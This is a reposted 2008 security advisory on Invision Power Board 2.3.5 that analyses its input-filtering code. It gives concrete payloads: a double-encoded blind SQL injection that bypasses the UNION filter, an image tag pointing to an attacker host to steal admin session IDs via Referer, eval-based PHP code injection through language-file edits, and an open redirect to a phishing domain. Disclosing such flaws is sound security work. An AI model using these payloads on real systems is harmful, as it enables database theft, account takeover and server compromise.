Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

  XSS and Data Manipulation attacks found in CMS PHPCart.

  [Exploit] Invision Power Board <= 2.3.5 Multiple Vulnerabilities

  Vulnerabilities in FeedBurner FeedSmith for WordPress

  XSS and SQL Injection vulnerabilities in myPHPNuke

From:gmdarkfig_(at)_gmail.com <gmdarkfig_(at)_gmail.com>
Date:01.09.2008
Subject:[Advisory] Invision Power Board <= 2.3.5 Multiple Vulnerabilities and Security Bypass

      Title:   Invision Power Board <= 2.3.5
               Multiple Vulnerabilities and Security Bypass

     Vendor:   http://www.invisionpower.com/community/board/

   Advisory:   http://acid-root.new.fr/?0:18
     Author:   DarkFig < gmdarkfig (at) gmail (dot) com >

Released on:   2008/08/29
  Changelog:   2008/08/29

    Summary:   Introduction
               Blind SQL Injection
               Insecure SQL Password Usage
               Admin Session Hijacking
               Deep Recursion Protection Bypass
               Code Execution
               Miscellanious

 Risk level:   Medium / High
        CVE:   ----------




 I - INTRODUCTION

 Before continuing, you need to know some stuff about how
 user's inputs are handled. All superglobal arrays which
 can be partially modified by the user, are passed to the
 function "parse_clean_globals()". Let's see the content
 of the file "sources/ipsclass.php":

 4847| $this->clean_globals( $_GET );
 4848| $this->clean_globals( $_POST );
 4849| $this->clean_globals( $_COOKIE );
 4850| $this->clean_globals( $_REQUEST );

 This function will replace special characters such as
 the null byte one and "../" (this replacement can be
 easily bypassed, we'll see that later), by their
 entities. Good idea, but bad implementation:

 4979| function clean_globals( &$data, $iteration = 0 )
 ....|
 4991|  foreach( $data as $k => $v )
 4992|  {
 ....|
 4999|    # Null byte characters
 5000|    $v = preg_replace( '/\\\0/' , '\0', $v );
 5001|    $v = preg_replace( '/\\x00/', '\x00', $v );
 5002|    $v = str_replace( '%00'     , '%00', $v );
 5003|                         
 5004|    # File traversal
 5005|    $v = str_replace( '../'    , '../', $v )
 5006|
 5007|    $data[ $k ] = $v;

 Then, variables which are sent through the GET and
 POST methods are passed to another function. Note
 that POST variables overwrite the ones sent with the
 GET method:

 4852| # GET first
 4853| $input = $this->parse_incoming_recursively( $_GET, array() );
 4854|                 
 4855| # Then overwrite with POST
 4856| $input = $this->parse_incoming_recursively( $_POST, $input );
 4857|
 4858| $this->input = $input;

 Then POST and GET inputs are passed to the function
 "parse_incoming_recursively()". Each input are passed to
 two functions. Names are passed to the "parse_clean_key()"
 function, values to "parse_clean_value()":

 4940| function parse_incoming_recursively(&$data,$input=array()...
 4941| {
 ....|
 4952|         foreach( $data as $k => $v )
 4953|         {
 ....|
 4961|                 $k = $this->parse_clean_key( $k );
 4962|                 $v = $this->parse_clean_value( $v );
 4963|                                         
 4964|                 $input[ $k ] = $v;
 4965|         }
 ....|
 4969|                 return $input;

 The "parse_clean_key()" function uses the "urldecode()"
 function, this means you can encode each variable names.

 For example, the parameter "act=Members" is the same
 as "%2561%2563%2574=Members". We don't really care
 about it, cause it will not cause a problem for the
 attacker:

 5024| function parse_clean_key($key)
 5025| {
 5026|   if ($key == "")
 5027|   {
 5028|      return "";
 5029|   }
 5030|         
 5031|   $key = htmlspecialchars(urldecode($key));
 5032|   $key = str_replace( ".."           , ""  , $key );
 5033|   $key = preg_replace( "/\_\_(.+?)\_\_/"  , ""  , $key );
 5034|   $key = preg_replace( "/^([\w\.\-\_]+)$/", "$1", $key );
 5035|         
 5036|   return $key;
 5037| }

 This one will replace malicious tags by their entities.
 The most efficient replacement, is the one which protect
 against SQL Injections, (single/double quotes).

 Replacements concerning strings wich contains more than
 1 characters can be bypassed with the CR (Carriage Return)
 character (eg: bypassing the replacement of ../ by using
 ..%0D/).

 We can also use that trick to encode links. For example the
 parameter "act=Members", is the same as "%2561%2563%2574=
 M%0De%0Dm%0Db%0De%0Dr%0Ds":

 5077| function parse_clean_value($val)
 5078| {
 ....|
 5084|   $val = str_replace( " ", " ", $this->txt_stripslashes($val));
 ....|
 5093|   $val = str_replace( "‮",     ''        , $val );
 5094|     
 5095|   $val = str_replace( "&",           "&amp;"         , $val );
 5096|   $val = str_replace( "<!--",        "<!--"  , $val );
 5097|   $val = str_replace( "-->",         "-->"       , $val );
 5098|   $val = preg_replace( "/<script/i", "<script"   , $val );
 5099|   $val = str_replace( ">",           "&gt;"          , $val );
 5100|   $val = str_replace( "<",           "&lt;"          , $val );
 5101|   $val = str_replace( '"',           "&quot;"        , $val );
 5102|   $val = str_replace( "\n",          "<br />"        , $val );
 5103|   $val = str_replace( "$",           "$"        , $val );
 5104|   $val = str_replace( "\r",          ""              , $val );
 5105|   $val = str_replace( "!",           "!"         , $val );
 5106|   $val = str_replace( "'",           "'"         , $val );
 ....|         
 5121|   return $val;
 5122| }

 The "txt_stripslashes()" function is also called, it will
 reverse the effect of the magic_quotes_gpc directive
 (if set to On):

 3104| function txt_stripslashes($t)
 3105| {
 3106|   if ( $this->get_magic_quotes )
 3107|   {
 3108|      $t = stripslashes($t);
 3109|      $t = preg_replace( "/\\\(?!&amp;#|\?#)/", "\", $t );
 3110|   }
 3111|     
 3112|   return $t;
 3113| }

 So, we can't use any SQL escape character if
 magic_quotes_gpc is turned on. But if not, we can
 still use the character \. Now let's see how we'll
 bypass these protections =)



 II - BLIND SQL INJECTION

 Note: Only 2.3.x (2.3.1 to 2.3.5) branch seems to be
 affected to this issue.

 Newest versions support Ajax technology, when you try to
 register, there's a check which is made via Ajax. The
 "class_ajax" object is created in the file
 "sources/action_public/xmlout.php":

 101| require_once( KERNEL_PATH . 'class_ajax.php' );
 102|
 103| $this->class_ajax           =  new class_ajax();
 104| $this->class_ajax->ipsclass =& $this->ipsclass;
 105| $this->class_ajax->class_init();

 Now let's send "act=xmlout&do=check-display-name&name=A"
 to the page "index.php". Then the "check_display_name()"
 function is called:

 134| case 'check-display-name':
 135|     $this->check_display_name('members_display_name');
 136| break;
 ...|
 137| case 'check-user-name':
 138|     $this->check_display_name('name');
 139| break;

 Then the "name" variable sent through the GET method is
 passed to the "convert_and_make_safe()" function:
 
 985| function check_display_name( $field='members_display_name' )
 986| {
 ...|          
 991|    $name = strtolower( $this->class_ajax->convert_and_make_safe(
 ...|                        $this->ipsclass->input['name'], 0 ) );
 992|    $name = str_replace("+", "+", $name );

 As you can see, this function uses the "rawurldecode()"
 function, which can be used to bypass (eg: %2527) all
 filters we saw before (eg: the parse_clean_value()
 function).

 Default charsets are "iso-8859-1" or "utf-8", so the
 "parse_clean_value()" function is not applied to our
 variable, we can use all characters:

  87| function convert_and_make_safe( $value, $parse_incoming=1 )
  88| {
  89|    $value = rawurldecode( $value );
  90|
  91|    $value = $this->convert_unicode( $value );
  92|                  
  93|    // This is apparently not needed with the convert_unicode changes I made
  94|                  
  95|    $value = $this->convert_html_entities( $value );
  96|          
  97|    if($parse_incoming OR
  ..|      (strtolower($this->ipsclass->vars['gb_char_set']) != 'iso-8859-1'
  98|    && strtolower($this->ipsclass->vars['gb_char_set']) != 'utf-8' ) )
  99|    {
 100|          $value = $this->ipsclass->parse_clean_value( $value );
 101|    }
 102|  
 103|    return $value;
 104|  }

 Then our variable is used in an SQL query, but
 this one don't use the "add_slashes()" function,
 so we can perform an SQL Injection attack:

 1062| if( $field == 'members_display_name' )
 1063| {
 1064|      $check_field = 'members_l_display_name';
 1065| }
 1066| else
 1067| {
 1068|      $check_field = 'members_l_username';
 1069| }
 1070|         
 1071| $check_name = $this->ipsclass->DB->build_and_exec_query(
 ....|               array( 'select' => "{$field}, id",
 1072|                      'from'   => 'members',
 1073|                      'where'  => "{$check_field}='{$name}'",
 1074|                      'limit'  => array( 0,1 ) ) );

 This will be a Blind SQL Injection, cause the result
 of the query isn't returned. We can only know if it
 returned TRUE or FALSE:

 1076| if ( $this->ipsclass->DB->get_num_rows() )
 1077| {
 1078|     if ( $id AND $check_name['id'] == $id )
 1079|     {
 1080|          $this->class_ajax->return_string('notfound');
 1081|     }
 1082|     else
 1083|     {
 1084|          $this->class_ajax->return_string('found');
 1085|     }
 1086| }

 So yes, we can inject parameters in this query, but if
 we stop here, we'll only be apt to get values from the
 "members" table. And this is not sufficient to get
 logged in. Let's check the filter:

 573| if ( ! IPS_DB_ALLOW_SUB_SELECTS )
 574| {
 575|    # On the spot allowance?
 576|                  
 577|    if ( ! $this->allow_sub_select )
 578|    {
 579|        $_tmp = strtolower( $this->remove_all_quotes($the_query) );
 580|                          
 581|        if ( preg_match( "#(?:/\*|\*/)#i", $_tmp ) )
 582|        {
 583|            $this->fatal_error( "..." );
 584|            return false;
 585|        }
 586|                          
 587|        if ( preg_match( "#[^_a-zA-Z]union[^_a-zA-Z]#s", $_tmp ) )
 588|        {
 589|            $this->fatal_error( "..." );
 590|            return false;
 591|        }
 592|        else if ( preg_match_all( "#[^_a-zA-Z](select)[^_a-zA-Z]#s", $_tmp, $matches ) )
 593|        {
 594|            if ( count( $matches ) > 1 )
 595|            {
 596|                $this->fatal_error( "..." );
 597|                return false;
 598|            }
 599|        }
 600|     }
 601| }
 ...|
 607| $this->query_id = mysql_query($the_query, $this->connection_id);

 So UNION and SUB SELECT queries are forbidden. That's what
 they think, let's try to bypass this filter. The query is
 passed to the "remove_all_quotes()" function, let's see
 how it works:

  997| function remove_all_quotes( $t )
  998| {
 1010|                 
 1011|    $t = preg_replace( "#\\\{1,}[\"']#s", "", $t );
 1012|    $t = preg_replace( "#'[^']*'#s"    , "", $t );
 1013|    $t = preg_replace( "#\"[^\"]*\"#s" , "", $t );
 1014|    $t = preg_replace( "#\"\"#s"        , "", $t );
 1015|    $t = preg_replace( "#''#s"          , "", $t );
 ....|
 1017|    return $t;
 1018| }

 This seems hard to bypass, but we can do it.
 What if I try something like:

 ' OR 1="'" UNION ... OR 1="'" #

 This will be replaced by: or 1= #
 Now we just have to encode each special characters:

 %2527 OR 1=%2522%2527%2522 UNION ...
 OR 1=%2522%2527%2522 #

 Now we're apt to get each value stored in the database.
 We can try to get a valid session_id, we can also
 bruteforce the hash (combined with the salt) in order
 to get a password. We don't need specific PHP
 configuration, and we can do that with guest rights.



 III - INSECURE SQL PASSWORD USAGE

 When we log in as a normal user, a cookie named
 "ipb_stronghold" is sent. This cookie is generated
 via the "stronghold_set_cookie()" function. Let's
 see the file "sources/ipsclass.php":  

 1120| function stronghold_set_cookie( $member_id, $member_log_in_key )
 1121| {
 ....|
 1135|    $ip_octets  = explode( ".", $this->my_getenv('REMOTE_ADDR') );
 1136|    $crypt_salt = md5( $this->vars['sql_pass'].$this->vars['sql_user'] );
 ....|                 
 1142|    $stronghold = md5( md5( $member_id . "-" . $ip_octets[0] . '-'.
 ....|                  $ip_octets[1] . '-' . $member_log_in_key ) . $crypt_salt );    
 ....|
 1148|    $this->my_setcookie( 'ipb_stronghold', $stronghold, 1 );

 We know our IP address, we can know the SQL user (with
 the SQL Injection), we also know our id (cookie "member_id"),
 and the member_login_key variable (cookie "pass_hash").

 So we can try to bruteforce the SQL password, from our
 local computer. We don't need to use sockets, and this
 can be quite easily done.



 IV - ADMIN SESSION HIJACKING

 When an administrator logs in and go to the Admin Control
 Panel (ACP), a session id is generated. Cookies can  be
 deleted, we just need the SID to be logged in the ACP.
 The SID is sent for each request (variable "adsess"),
 through the GET method.

 When an Admin want to edit a member signature, if he click
 on the "Switch between standard and rich text editor" button,
 an Ajax request is made:

 GET <PATH>/index.php?act=xmlout&do=post-editorswitch

 Then, the BBCODE content of the signature will be changed
 to their HTML equivalents. If the user has a picture, it
 will force the browser to send an HTTP request. Example:

 [img]http://haxor.com/log_headers.gif[/img]

 Pictures with .php extension are forbidden, but the
 attacker can use the Url Rewriting mod, and then
 bypass this condition.

 The problem is here, the browser will add the "Referer"
 header, it will contain the SID value. So the attacker
 can get it.

 There is several conditions to be logged as Admin, if
 the "match_ipaddress" option is turned On, there's a
 check which is made on the user IP. If the option
 "xforward_matching" is turned on, the attacker can spoof
 his IP address. On default configuration:

 match_ipaddress = Yes
 xforward_matching = No
 match_browser = No (user only)

 To bypass the ip address filter, the attacker can, for
 example, find an XSS (not so hard ..), and then send
 GET/POST requests via the Admin Browser, to add another
 Admin, or to change theses options.



 V - DEEP RECURSION PROTECTION BYPASS

 Variables sent through GET/POST/COOKIE, are passed to the
 "clean_globals()" function. In this one, there's a
 protection against long array, they're limited to a depth
 of 10:

 4979| function clean_globals( &$data, $iteration = 0 )
 4980| {
 4981|    // Crafty hacker could send something like &foo[][][][][][]....
 4982|    // to kill Apache process. We should never have an globals array
 ....|    // deeper than 10..
 4983|
 4984|    if( $iteration >= 10 )
 4985|    {
 4986|         return $data;
 4987|    }
 4988|         
 4989|    if( count( $data ) )
 4990|    {
 4991|        foreach( $data as $k => $v )
 4992|        {
 4993|             if ( is_array( $v ) )
 4994|             {
 4995|                 $this->clean_globals( $data[ $k ], $iteration++ );
 4996|             }

 But this protection doesn't work, as you can see they use
 the post-increment operator. This operator returns the
 current value of the variable, and increments it. So the
 value of $iteration will never change, cause it'll always
 returns 0.

 They should use the pre-increment operator, to fix this bug,
 change $iteration++ by ++$iteration. The same kind of
 protection is used in the "parse_incoming_recursively()"
 function.



 VI - CODE EXECUTION

 The ACP allows admins to manage languages, they can
 choose the default language, import a new one, and edit
 them. Let's take a look in the file "sources/action_admin/
 languages.php":

  65| switch($this->ipsclass->input['code'])
  66| {
  ..|
  88|  case 'doedit':
  89|    $this->ipsclass->admin->cp_permission_check(...);
  90|    $this->save_langfile();
 110|  break;
 ...|
 935|  function save_langfile()
 936|  {
 ...|
 957|    $lang_file = CACHE_PATH."cache/lang_cache/".$row['ldir'].
 ...|                 "/".$this->ipsclass-
>input['lang_file'];
 958|
 959|    if (! file_exists( $lang_file ) )  ...
 ...|
 963|
 964|    if (! is_writeable( $lang_file ) ) ...
 ...|
 969|    $barney = array();
 970|          
 971|    foreach ($this->ipsclass->input as $k => $v)
 972|    {
 973|      if ( preg_match( "/^XX_(\S+)$/", $k, $match ) )
 974|      {
 975|        if ( isset($this->ipsclass->input[ $match[0] ]) )
 976|        {
 977|          $v = str_replace("'", "'", stripslashes($_POST[$match[0]]));
 978|          $v = str_replace("<", "<",  $v );
 979|          $v = str_replace(">", ">", $v );
 980|          $v = str_replace("&", "&", $v );
 981|          $v = str_replace("\r", "", $v );
 982|                          
 983|          $barney[ $match[1] ] = $v;
 984|        }
 985|      }
 986|    }

 As you can see, there's several replacements which are
 made. Some HTML entities are converted to their applicable
 characters. The "stripslashes()" function is also called.
 But we don't really care about that, this will not cause
 a problem, this was just to show you how user's inputs
 are treated. Now let's see how the change is made:
 
  993|  $start = "<?php\n\n".'$lang = array('."\n";
  994|
  995|  foreach($barney as $key => $text)
  996|  {
  997|         $text   = preg_replace("/\n{1,}$/", "", $text);
  998|         $start .= "\n'".$key."'  => \"".str_replace( '"', '\"', $text)."\",";
  999|  }
 1000|                 
 1001|  $start .= "\n\n);\n\n?".">";
 1002|
 1003|  if ($fh = fopen( $lang_file, 'w') )
 1004|  {
 1005|         fwrite($fh, $start );
 1006|         fclose($fh);
 1007|  }
 
 So, there's a protection against double quotes, not all
 escape characters. There are several ways to bypass this
 protection.

 The first method, is to play with what we call "dynamic
 variables". With two $, we can execute PHP code.
 Example: ${${@eval($_SERVER[HTTP_SH])}}

 The second one, is to use another escape character, a
 backslash (\) will do the stuff. The attacker must change
 two inputs. Example:

  First input: hello\
 Second input: ); @eval($_SERVER[HTTP_SH]); /*



 VII - MISCELLANIOUS

 There is also some miscellanious bugs / vuln. There's a
 redirection vulnerability in the file "admin.php":

 27| require_once( './init.php' );
 28| require ROOT_PATH   . "conf_global.php";
 ..|
 38| header( 'Location: '.$INFO['base_url'].'admin/index.php' );

 The variable $INFO['base_url'] is not defined (this is
 the case on my default configuration), so we can
 redirect the user where we want, for example:

 admin.php?INFO[base_url]=http://phishing-hax.com/

 This can also lead to a Full Path Disclosure vulnerability.
 The "header()" function doesn't accept CRLF characters, this
 protect against HTTP Response Splitting attacks. The level of
 "error_reporting" is set in the file "init.php":

 210| error_reporting  (E_ERROR | E_WARNING | E_PARSE);

 So what we have to do to disclose the full path of IPB, is
 just to send CRLF characters: admin.php?INFO[base_url]=%0D%0A

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
 



Рейтинг@Mail.ru